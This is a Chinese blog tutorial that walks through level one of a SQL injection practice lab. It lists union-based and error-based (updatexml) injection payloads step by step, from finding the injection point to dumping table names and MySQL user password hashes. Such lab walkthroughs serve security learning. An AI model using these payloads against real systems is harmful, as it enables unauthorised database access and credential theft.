第一关是单引号字符型注入,推荐使用联合注入、报错注入
参考文章: 联合注入使用详解,原理+步骤+实战案例
第一步、判断注入点
地址栏输入:?id=1' and 1 -- a,正常显示
地址栏输入:?id=1' and 0 -- a,异常(空)显示,确定注入点为:单引号字符型
第二步、判断字段数
地址栏依次输入:
?id=1' order by 1 -- a
?id=1' order by 2 -- a
?id=1' order by 3 -- a
?id=1' order by 4 -- a,开始报错,确定字段数为:3
第三步、判断显示位
地址栏输入:?id=0' union select 1,2,3 -- a
第四步、脱库
获取所有表:
?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a
获取所有字段:
?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 -- a
获取账号密码:
?id=0' union select 1,(select group_concat(host,user,password) from mysql.user),3 -- a
参考文章: 报错注入使用详解,原理+步骤+实战教程
第一步、判断是否报错
地址栏输入:?id=1'
页面显示数据库的报错信息,适合使用报错注入。
地址栏输入:?id=1' and updatexml(1,0x7e,3); -- a
页面正常报错,报错函数可以正常使用。
第三步、脱库
获取当前数据库:
?id=-1' and updatexml(1,concat('~',database()),3) -- a
获取所有表:
?id=-1' and updatexml(1,concat('~',
substr((select group_concat(table_name)
from information_schema.tables where table_schema=database()) , 1 , 31)
),3) -- a
获取账号密码:
?id=-1' and updatexml(1,concat('~',
substr((select password
from mysql.user where user='mituan') , 1 , 31)
),3) -- a
《网络安全快速入门》 用最短的时间,掌握最核心的网络安全技术,持续更新……
《靶场通关教程》 各个靶场的通关教程,持续更新……
感谢你的点赞、收藏、评论,我是三日,祝你幸福!
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/wangyuxiang946/article/details/118029859